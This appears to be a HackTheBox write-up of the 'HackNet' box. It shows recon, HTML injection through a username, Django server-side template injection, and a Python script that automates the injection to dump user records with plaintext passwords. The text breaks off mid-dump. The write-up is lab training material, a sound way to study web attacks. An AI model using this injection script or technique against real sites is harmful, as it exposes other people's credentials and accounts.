HTB: HackNet
HackNet hosts a social media site for hackers built with Django. I’ll find an HTML injection in the username field that, combined with how the likes page renders usernames, leads to server-side template injection. While Django templates are restrictive, I’ll use the SSTI to dump user data including plaintext passwords, finding one user whose email reveals their Linux username. After SSHing in, I’ll discover Django’s FileBasedCache uses pickle serialization with a world-writable cache directory. By replacing cache files with a malicious pickle payload, I’ll get a shell as the web user. From there, I’ll crack a GPG key password to decrypt database backups, finding a password shared in messages that works for root.
Box Info
| Name | HackNet Play on HackTheBox |
|---|---|
| Release Date | 13 Sep 2025 |
| Retire Date | 17 Jan 2026 |
| OS | Linux |
| Base Points | Medium [30] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 04:30:00 |
|
| 09:26:24 |
|
| Creator |
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 01:53 UTC
...[snip]...
Nmap scan report for hacknet.htb (10.10.11.85)
Host is up, received echo-reply ttl 63 (0.024s latency).
Scanned at 2026-01-08 01:53:01 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
Raw packets sent: 69634 (3.064MB) | Rcvd: 66194 (2.648MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 01:57 UTC
Nmap scan report for 10.10.11.85
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_ 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.86 seconds
Based on the OpenSSH and nginx versions, the host is likely running Debian 12 Bookworm.
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
The webserver is redirecting to hacknet.htb. I’ll run ffuf to look for any subdomains of hacknet.htb that respond differently, but not find any. I’ll add this to my hosts file:
oxdf@hacky$ head -1 /etc/hosts
10.10.11.85 hacknet.htb
I’ll rescan with nmap, but nothing different of significance.
Website - TCP 80
Site
The site is a social media site for hackers:
I’ll click the “Sign Up” button and there’s a form to create an account. When I fill it out and submit, it shows the same form with a message, “User created”:
If I try to create the same account again, it shows a new message:
The message is correct that if either the email or the username is the same, it will fail with this message.
The Login page is simple enough:
Logging in leads to /profile:
I can make a post:
It seems to escape HTML just fine:
Under Contact, it doesn’t show any:
Same with Messages:
Search shows me the users on the forum:
There are 25 users besides me. Clicking on a user leads to a profile page (/profile/<id>):
I can like and/or comment on posts. It shows all the users who have liked a post by avatar:
Clicking on comments expands to show them:
I can’t leave a comment until I add a user to my contacts:
Explore is a feed of the posts:
Tech Stack
The HTTP response headers don’t show anything beyond nginx:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Thu, 08 Jan 2026 02:07:20 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 667
After logging in, there is a sessionid cookie set:
HTTP/1.1 302 Found
Server: nginx/1.22.1
Date: Thu, 08 Jan 2026 02:11:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Location: /profile
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: sessionid=a981m6i3vks138pa5g3jypgp73zonciu; expires=Thu, 22 Jan 2026 02:11:02 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
The 404 page (outside of the /static directory) is the default Django 404:
Wappalyzer agrees:
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://hacknet.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://hacknet.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 10l 21w 179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 11w 169c http://hacknet.htb/media => http://hacknet.htb/media/
302 GET 0l 0w 0c http://hacknet.htb/logout => http://hacknet.htb/
302 GET 0l 0w 0c http://hacknet.htb/search => http://hacknet.htb/
200 GET 67l 105w 7859c http://hacknet.htb/static/icon.png
200 GET 23l 56w 857c http://hacknet.htb/login
302 GET 0l 0w 0c http://hacknet.htb/comment => http://hacknet.htb/
200 GET 24l 63w 948c http://hacknet.htb/register
200 GET 928l 1570w 15786c http://hacknet.htb/static/style.css
404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 2l 1262w 87533c http://hacknet.htb/static/jquery-3.7.1.min.js
200 GET 22l 56w 667c http://hacknet.htb/
302 GET 0l 0w 0c http://hacknet.htb/contacts => http://hacknet.htb/
301 GET 7l 11w 169c http://hacknet.htb/static/admin => http://hacknet.htb/static/admin/
403 GET 7l 9w 153c http://hacknet.htb/static/
302 GET 0l 0w 0c http://hacknet.htb/profile => http://hacknet.htb/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/css => http://hacknet.htb/static/admin/css/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/js => http://hacknet.htb/static/admin/js/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/img => http://hacknet.htb/static/admin/img/
302 GET 0l 0w 0c http://hacknet.htb/post => http://hacknet.htb/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/fonts => http://hacknet.htb/static/admin/fonts/
302 GET 0l 0w 0c http://hacknet.htb/messages => http://hacknet.htb/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/js/admin => http://hacknet.htb/static/admin/js/admin/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/css/vendor => http://hacknet.htb/static/admin/css/vendor/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/js/vendor => http://hacknet.htb/static/admin/js/vendor/
302 GET 0l 0w 0c http://hacknet.htb/explore => http://hacknet.htb/
301 GET 7l 11w 169c http://hacknet.htb/static/admin/img/gis => http://hacknet.htb/static/admin/img/gis/
200 GET 20l 172w 1081c http://hacknet.htb/static/admin/img/LICENSE
[####################] - 62s 240008/240008 0s found:26 errors:0
[####################] - 61s 30000/30000 490/s http://hacknet.htb/
[####################] - 54s 30000/30000 555/s http://hacknet.htb/media/
[####################] - 54s 30000/30000 556/s http://hacknet.htb/static/
[####################] - 54s 30000/30000 554/s http://hacknet.htb/static/admin/
[####################] - 54s 30000/30000 553/s http://hacknet.htb/static/admin/js/
[####################] - 54s 30000/30000 551/s http://hacknet.htb/static/admin/css/
[####################] - 54s 30000/30000 551/s http://hacknet.htb/static/admin/img/
[####################] - 54s 30000/30000 551/s http://hacknet.htb/static/admin/fonts/
In addition to stuff I’ve already interacted with, there’s clearly something at /static/admin, but I’m not able to access anything interesting under that tree (mostly 403s).
Shell as mikey
XSS Exploration
Via Messaging
I’ll “Request contact” and send messages to a bunch of users, but there’s no indication of any fake users on the site. Nothing ever comes back or is accepted. I’ll create a second account and try to interact, but something weird happens. These users don’t show up to each other.
Sometimes 0xdf’s posts showed up for 0xdf2, but not the other way around. Something is very buggy with the site. If 0xdf2 clicks on 0xdf’s username in the post, where for most users it would lead to their profile (/profile/27 for 0xdf), it ends up with a redirect to just /profile showing 0xdf’s profile.
I’ll spend some time trying to send messages between the users, but without success. My hope was to see if there was a possibility for XSS via messaging, but that seems like a dead end.
HTML Injection
For the most part, things I post seem to be escaped properly. I’ll play with changing my username, but it seems escaped as well. On my profile:
On my posts:
Even when hovering over my likes:
In all places this is properly escaped, such as my profile:
And the like:
Another thing to try is a bunch of special characters. The profile handles it fine:
The like hover only shows part of the name:
It’s cutting off everything after the ". The HTML shows why:
It’s treating the double quote in my username as the closing quote for the title, and then using the rest as another parameter in the img tag.
SSTI
POC
I am not able to do anything super useful with the HTML injection above. I played with injecting script tags and img tags with onerror code, but I got a lot of 500 errors, and I don’t believe there’s any bot coming to look at this anyway.
But it does get me thinking about how this block of code is constructed. It’s clearly escaped when I just send HTML, but with the " it breaks and gets outside the escaping. Given that this is a Python webserver, I should check for template injection. I’ll use the SSTI polyglot from PayloadsAllTheThings, ${{<%[%'"}}%\.. Nothing exciting on profile:
But there’s a crash trying to load the likes:
I’ll walk the common flowchart:
The first doesn’t trigger anything:
Both {{ 7 * 7 }} and {{ 7 * '7' }} crash it with “Something went wrong…”. That’s because Django templates are not Jinja2 like Flask, and are much more restrictive. They don’t allow arbitrary Python code like Jinja2, so it’s crashing. It’s interesting because it shows that it’s trying to execute within the context of the template. I’ll try to access the request object with {{ request }}. It works:
RCE Fail
I’ll try all of the RCE payloads in the Django section of PayloadsAllTheThings, but most seem to crash the page when trying to submit the username change. It seems like something on HackNet is blocking or unescaped such that it’s causing these crashes. It’s not clear to me if that’s poor error handling on the site’s developer or intentionally blocking paths from a HTB / game point of view.
Python Script
I’ll throw together a quick Python script to automate this SSTI:
#!/usr/bin/env python3
# /// script
# requires-python = ">=3.13"
# dependencies = [
# "requests",
# ]
# ///
"""SSTI testing script for Hacknet"""
import requests
import sys
import re
import html
BASE_URL = "http://hacknet.htb"
def login(email, password):
"""Login and return session with cookies"""
session = requests.Session()
resp = session.get(f"{BASE_URL}/login")
csrf = re.search(r'csrftoken=([^;]+)', resp.headers.get('Set-Cookie', ''))
if csrf:
csrf_token = csrf.group(1)
else:
csrf_token = session.cookies.get('csrftoken')
data = {
'csrfmiddlewaretoken': csrf_token,
'email': email,
'password': password,
}
headers = {'Referer': f'{BASE_URL}/login'}
resp = session.post(f"{BASE_URL}/login", data=data, headers=headers, allow_redirects=False)
if resp.status_code != 302:
print(f"[!] Login failed: {resp.status_code}")
print(f"[!] Response: {resp.text[:300]}")
sys.exit(1)
print(f"[+] Logged in as {email}")
return session
def get_csrf_token(session):
"""Get CSRF token from profile/edit page"""
resp = session.get(f"{BASE_URL}/profile/edit")
match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
if match:
return match.group(1)
return session.cookies.get('csrftoken')
MARKER = "0xdf0xdf "
def set_username(session, payload):
"""Set username via profile edit"""
csrf_token = get_csrf_token(session)
username = f"{MARKER}{payload}"
files = {
'csrfmiddlewaretoken': (None, csrf_token),
'picture': ('', b'', 'application/octet-stream'),
'email': (None, ''),
'username': (None, username),
'password': (None, ''),
'about': (None, ''),
'is_public': (None, 'on'),
}
headers = {'Referer': f'{BASE_URL}/profile/edit'}
resp = session.post(f"{BASE_URL}/profile/edit", files=files, headers=headers)
return resp
def get_likes(session):
"""Get /likes/10 to see SSTI result"""
headers = {
'Referer': f'{BASE_URL}/explore',
'X-Requested-With': 'XMLHttpRequest',
}
resp = session.get(f"{BASE_URL}/likes/10", headers=headers)
return resp
def extract_ssti_result(html):
"""Extract the SSTI result from the title attribute"""
matches = re.findall(r'title="([^"]*)"', html)
return matches
def main():
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <email> <password> '<SSTI payload>'")
print(f"Example: {sys.argv[0]} mikey@hacknet.htb 'mYd4rks1dEisH3re' '{{{{ request.META }}}}'")
sys.exit(1)
email = sys.argv[1]
password = sys.argv[2]
payload = sys.argv[3]
print(f"[*] Logging in as {email}...")
session = login(email, password)
print(f"[*] Setting username to: {payload}")
resp = set_username(session, payload)
if resp.status_code == 500:
print(f"[!] Error 500 setting username")
print(f"[!] Response: {resp.text[:500]}")
sys.exit(1)
if "Profile updated" not in resp.text and "User exists" not in resp.text:
breakpoint()
print(f"[!] Unexpected response: {resp.text[:500]}")
sys.exit(1)
print(f"[+] Username updated successfully")
print(f"[*] Fetching /likes/10...")
resp = get_likes(session)
if resp.status_code != 200:
print(f"[!] Error {resp.status_code} fetching likes")
sys.exit(1)
titles = extract_ssti_result(resp.text)
print(f"\n[+] SSTI Results:")
print("-" * 60)
for title in titles:
if title.startswith(MARKER):
result = title[len(MARKER):]
print(html.unescape(result))
break
else:
print("[!] No liked post found. Make sure to like the post from Glitch at Feb. 10, 2025, 8:09 p.m.")
print("-" * 60)
if __name__ == "__main__":
main()
There’s nothing particularly novel here. There’s a function to login with the given creds. Then it sets the username. If that response is a 500, then it prints an errors and exits. It sets the username to the given payload prefixed with a marker. Then it gets the likes for a specific post, and loops over the users until it finds one starting with the prefix, and prints the results from there.
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ request }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ request }}
[+] Username updated successfully
[*] Fetching /likes/10...
[+] SSTI Results:
------------------------------------------------------------
<WSGIRequest: GET '/likes/10'>
------------------------------------------------------------
request Data
One object typically available is request, which contains information about the current request. I’ve been using this already, but there’s more to dig into. META shows information about the request:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ request.META }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ request.META }}
[+] Username updated successfully
[*] Fetching /likes/10...
[+] SSTI Results:
------------------------------------------------------------
{'wsgi.errors': <gunicorn.http.wsgi.WSGIErrorsWrapper object at 0x7f586fb4e350>, 'wsgi.version': (1, 0), 'wsgi.multithread': False, 'wsgi.multiprocess': True, 'wsgi.run_once': False, 'wsgi.file_wrapper': <class 'gunicorn.http.wsgi.FileWrapper'>, 'wsgi.input_terminated': True, 'SERVER_SOFTWARE': 'gunicorn/22.0.0', 'wsgi.input': <gunicorn.http.body.Body object at 0x7f586fb61ed0>, 'gunicorn.socket': <socket.socket fd=9, family=1, type=1, proto=0, laddr=/run/gunicorn.sock>, 'REQUEST_METHOD': 'GET', 'QUERY_STRING': '', 'RAW_URI': '/likes/10', 'SERVER_PROTOCOL': 'HTTP/1.0', 'HTTP_HOST': 'hacknet.htb', 'HTTP_X_REAL_IP': '10.10.14.3', 'HTTP_X_FORWARDED_FOR': '10.10.14.3', 'HTTP_X_FORWARDED_PROTO': 'http', 'HTTP_CONNECTION': 'close', 'HTTP_USER_AGENT': 'python-requests/2.32.5', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate', 'HTTP_ACCEPT': '*/*', 'HTTP_REFERER': 'http://hacknet.htb/explore', 'HTTP_X_REQUESTED_WITH': 'XMLHttpRequest', 'HTTP_COOKIE': 'csrftoken=OC0ppNXvQrH8R4PXMovnpFXPeq1HUTrD; sessionid=o08p1sipmi2bj551o7xputurcxi4qrfb', 'wsgi.url_scheme': 'http', 'REMOTE_ADDR': '', 'SERVER_NAME': 'hacknet.htb', 'SERVER_PORT': '80', 'PATH_INFO': '/likes/10', 'SCRIPT_NAME': '', 'CSRF_COOKIE': 'OC0ppNXvQrH8R4PXMovnpFXPeq1HUTrD'}
------------------------------------------------------------
environ shows information about the environment:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ request.environ }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ request.environ }}
[+] Username updated successfully
[*] Fetching /likes/10...
[+] SSTI Results:
------------------------------------------------------------
{'wsgi.errors': <gunicorn.http.wsgi.WSGIErrorsWrapper object at 0x7f586fb4e920>, 'wsgi.version': (1, 0), 'wsgi.multithread': False, 'wsgi.multiprocess': True, 'wsgi.run_once': False, 'wsgi.file_wrapper': <class 'gunicorn.http.wsgi.FileWrapper'>, 'wsgi.input_terminated': True, 'SERVER_SOFTWARE': 'gunicorn/22.0.0', 'wsgi.input': <gunicorn.http.body.Body object at 0x7f586fb78950>, 'gunicorn.socket': <socket.socket fd=9, family=1, type=1, proto=0, laddr=/run/gunicorn.sock>, 'REQUEST_METHOD': 'GET', 'QUERY_STRING': '', 'RAW_URI': '/likes/10', 'SERVER_PROTOCOL': 'HTTP/1.0', 'HTTP_HOST': 'hacknet.htb', 'HTTP_X_REAL_IP': '10.10.14.3', 'HTTP_X_FORWARDED_FOR': '10.10.14.3', 'HTTP_X_FORWARDED_PROTO': 'http', 'HTTP_CONNECTION': 'close', 'HTTP_USER_AGENT': 'python-requests/2.32.5', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate', 'HTTP_ACCEPT': '*/*', 'HTTP_REFERER': 'http://hacknet.htb/explore', 'HTTP_X_REQUESTED_WITH': 'XMLHttpRequest', 'HTTP_COOKIE': 'csrftoken=idiUjzWWnjs1jl9TwQdODAjg6xJowXGq; sessionid=n5fy8v7rdlr2qqehz15cii5yta727vya', 'wsgi.url_scheme': 'http', 'REMOTE_ADDR': '', 'SERVER_NAME': 'hacknet.htb', 'SERVER_PORT': '80', 'PATH_INFO': '/likes/10', 'SCRIPT_NAME': '', 'CSRF_COOKIE': 'idiUjzWWnjs1jl9TwQdODAjg6xJowXGq'}
------------------------------------------------------------
Site Variables Enumeration
When a site loads a page using one of these templating engines, it passes variables along with the template to the renderer, which uses the objects to create the HTML. Where my injection is running, it would have access to all the variables in the scope of that rendering function.
Thinking about what might be needed to build the page with the posts and likes, I can guess variables like posts (or maybe post) and users (or maybe user). Of those four, only users returns something:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users }}
[+] Username updated successfully
[*] Fetching /likes/10...
[+] SSTI Results:
------------------------------------------------------------
<QuerySet [<SocialUser: hexhunter>, <SocialUser: shadowcaster>, <SocialUser: blackhat_wolf>, <SocialUser: glitch>, <SocialUser: codebreaker>, <SocialUser: shadowmancer>, <SocialUser: whitehat>, <SocialUser: brute_force>, <SocialUser: shadowwalker>, <SocialUser: 0xdf {{ users }}>]>
------------------------------------------------------------
I have access to a Django QuerySet of SocialUser objects. I can access a specific one by index:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.0 }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users.0 }}
[+] Username updated successfully
[*] Fetching /likes/10...
[+] SSTI Results:
------------------------------------------------------------
hexhunter
------------------------------------------------------------
The QuerySet documentation shows a values function, that:
Returns a
QuerySetthat returns dictionaries, rather than model instances, when used as an iterable.
It’ll dump the user objects:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users.values }}
[+] Username updated successfully
[*] Fetching /likes/10...
[+] SSTI Results:
------------------------------------------------------------
<QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': 'hexhunter', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 6, 'email': 'shadowcaster@darkmail.net', 'username': 'shadowcaster', 'password': 'Sh@d0wC@st!', 'picture': '6.jpg', 'about': 'Specializes in social engineering and OSINT techniques. A master of blending into the digital shadows.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 7, 'email': 'blackhat_wolf@cypherx.com', 'username': 'blackhat_wolf', 'password': 'Bl@ckW0lfH@ck', 'picture': '7.png', 'about': 'A black hat hacker with a passion for ransomware development. Has a reputation for leaving no trace behind.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 9, 'email': 'glitch@cypherx.com', 'username': 'glitch', 'password': 'Gl1tchH@ckz', 'picture': '9.png', 'about': 'Specializes in glitching and fault injection attacks. Loves causing unexpected behavior in software and hardware.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 12, 'email': 'codebreaker@ciphermail.com', 'username': 'codebreaker', 'password': 'C0d3Br3@k!', 'picture': '12.png', 'about': 'A programmer with a talent for writing malicious code and cracking software protections. Loves breaking encryption algorithms.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': 'shadowmancer', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 21, 'email': 'whitehat@darkmail.net', 'username': 'whitehat', 'password': 'Wh!t3H@t2024', 'picture': '21.jpg', 'about': 'An ethical hacker with a mission to improve cybersecurity. Works to protect systems by exposing and patching vulnerabilities.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 24, 'email': 'brute_force@ciphermail.com', 'username': 'brute_force', 'password': 'BrUt3F0rc3#', 'picture': '24.jpg', 'about': 'Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 25, 'email': 'shadowwalker@hushmail.com', 'username': 'shadowwalker', 'password': 'Sh@dowW@lk2024', 'picture': '25.jpg', 'about': 'A digital infiltrator who excels in covert operations. Always finds a way to walk through the shadows undetected.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 27, 'email': '0xdf@hacknet.htb', 'username': '0xdf {{ users.values }}', 'password': '0xdf', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]>
------------------------------------------------------------
I’ll use some Bash to make a nice list from that:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' | grep -oP "'username': '[^']+', 'password': '[^']+" | sed "s/'username': '//;s/', 'password': '/:/g" | tee users.txt
hexhunter:H3xHunt3r!
shadowcaster:Sh@d0wC@st!
blackhat_wolf:Bl@ckW0lfH@ck
glitch:Gl1tchH@ckz
codebreaker:C0d3Br3@k!
shadowmancer:Sh@d0wM@ncer
whitehat:Wh!t3H@t2024
brute_force:BrUt3F0rc3#
shadowwalker:Sh@dowW@lk2024
0xdf {{ users.values }}:0xdf
I’ll try each of these with hydra over SSH, but no luck.
More Users
I’ll update my script to take an optional post ID, and if my user hasn’t liked the post, to like it and fetch again:
#!/usr/bin/env python3
# /// script
# requires-python = ">=3.13"
# dependencies = [
# "requests",
# ]
# ///
"""SSTI testing script for Hacknet"""
import requests
import sys
import re
import html
BASE_URL = "http://hacknet.htb"
def login(email, password):
"""Login and return session with cookies"""
session = requests.Session()
resp = session.get(f"{BASE_URL}/login")
csrf = re.search(r'csrftoken=([^;]+)', resp.headers.get('Set-Cookie', ''))
if csrf:
csrf_token = csrf.group(1)
else:
csrf_token = session.cookies.get('csrftoken')
data = {
'csrfmiddlewaretoken': csrf_token,
'email': email,
'password': password,
}
headers = {'Referer': f'{BASE_URL}/login'}
resp = session.post(f"{BASE_URL}/login", data=data, headers=headers, allow_redirects=False)
if resp.status_code != 302:
print(f"[!] Login failed: {resp.status_code}")
print(f"[!] Response: {resp.text[:300]}")
return None
print(f"[+] Logged in as {email}")
return session
def get_csrf_token(session):
"""Get CSRF token from profile/edit page"""
resp = session.get(f"{BASE_URL}/profile/edit")
match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
if match:
return match.group(1)
return session.cookies.get('csrftoken')
MARKER = "0xdf0xdf "
def set_username(session, payload):
"""Set username via profile edit"""
csrf_token = get_csrf_token(session)
username = f"{MARKER}{payload}"
files = {
'csrfmiddlewaretoken': (None, csrf_token),
'picture': ('', b'', 'application/octet-stream'),
'email': (None, ''),
'username': (None, username),
'password': (None, ''),
'about': (None, ''),
'is_public': (None, 'on'),
}
headers = {'Referer': f'{BASE_URL}/profile/edit'}
resp = session.post(f"{BASE_URL}/profile/edit", files=files, headers=headers)
if resp.status_code == 500:
print(f"[!] Error 500 setting username")
sys.exit(1)
if "Profile updated" not in resp.text and "User exists" not in resp.text:
breakpoint()
print(f"[!] Unexpected response: {resp.text[:500]}")
sys.exit(1)
def like_post(session, post_id):
"""Like a post to make our username appear in likes"""
csrf_token = session.cookies.get('csrftoken')
headers = {
'Referer': f'{BASE_URL}/explore',
'X-Requested-With': 'XMLHttpRequest',
}
data = {'csrfmiddlewaretoken': csrf_token}
resp = session.post(f"{BASE_URL}/like/{post_id}", data=data, headers=headers)
return resp.status_code == 200
def get_likes(session, post_id=10):
"""Get /likes/<post_id> to see SSTI result"""
headers = {
'Referer': f'{BASE_URL}/explore',
'X-Requested-With': 'XMLHttpRequest',
}
resp = session.get(f"{BASE_URL}/likes/{post_id}", headers=headers)
if resp.status_code != 200:
print(f"[!] Error {resp.status_code} fetching likes")
sys.exit(1)
if 'Something went wrong...' in resp.text:
print("[!] Payload crashed renderer")
sys.exit(1)
return resp
def extract_ssti_result(html):
"""Extract the SSTI result from the title attribute"""
matches = re.findall(r'title="([^"]*)"', html)
return matches
def main():
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <email> <password> '<SSTI payload>' [post_id]")
print(f"Example: {sys.argv[0]} mikey@hacknet.htb 'mYd4rks1dEisH3re' '{{{{ request.META }}}}'")
print(f"Example: {sys.argv[0]} mikey@hacknet.htb 'mYd4rks1dEisH3re' '{{{{ request.META }}}}' 15")
sys.exit(1)
email = sys.argv[1]
password = sys.argv[2]
payload = sys.argv[3]
post_id = int(sys.argv[4]) if len(sys.argv) > 4 else 10
print(f"[*] Logging in as {email}...")
session = login(email, password)
print(f"[*] Setting username to: {payload}")
set_username(session, payload)
print(f"[+] Username updated successfully")
def try_extract_result():
resp = get_likes(session, post_id)
titles = extract_ssti_result(resp.text)
for title in titles:
if title.startswith(MARKER):
return title[len(MARKER):]
return None
print(f"[*] Fetching /likes/{post_id}...")
result = try_extract_result()
if result is None:
print(f"[*] User hasn't liked post {post_id}, liking it now...")
if like_post(session, post_id):
print(f"[+] Liked post {post_id}")
print(f"[*] Retrying /likes/{post_id}...")
result = try_extract_result()
else:
print(f"[!] Failed to like post {post_id}")
print(f"\n[+] SSTI Results:")
print("-" * 60)
if result:
print(html.unescape(result))
else:
print("[!] No result found - user may not appear in likes")
print("-" * 60)
if __name__ == "__main__":
main()
Now I can get users from another post:
oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' 14
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users.values }}
[+] Username updated successfully
[*] Fetching /likes/14...
[+] SSTI Results:
------------------------------------------------------------
<QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': 'hexhunter', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 3, 'email': 'rootbreaker@exploitmail.net', 'username': 'rootbreaker', 'password': 'R00tBr3@ker#', 'picture': '3.jpg', 'about': 'Expert in privilege escalation and bypassing security measures. Always on the lookout for new zero-day vulnerabilities.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 13, 'email': 'netninja@hushmail.com', 'username': 'netninja', 'password': 'N3tN1nj@2024', 'picture': '13.png', 'about': 'Network security expert focused on intrusion detection and prevention. Known for slicing through firewalls with ease.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': 'shadowmancer', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 20, 'email': 'stealth_hawk@exploitmail.net', 'username': 'stealth_hawk', 'password': 'St3@lthH@wk', 'picture': '20.jpg', 'about': 'Focuses on stealth operations, avoiding detection while infiltrating systems. A ghost in the machine.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 23, 'email': 'virus_viper@securemail.org', 'username': 'virus_viper', 'password': 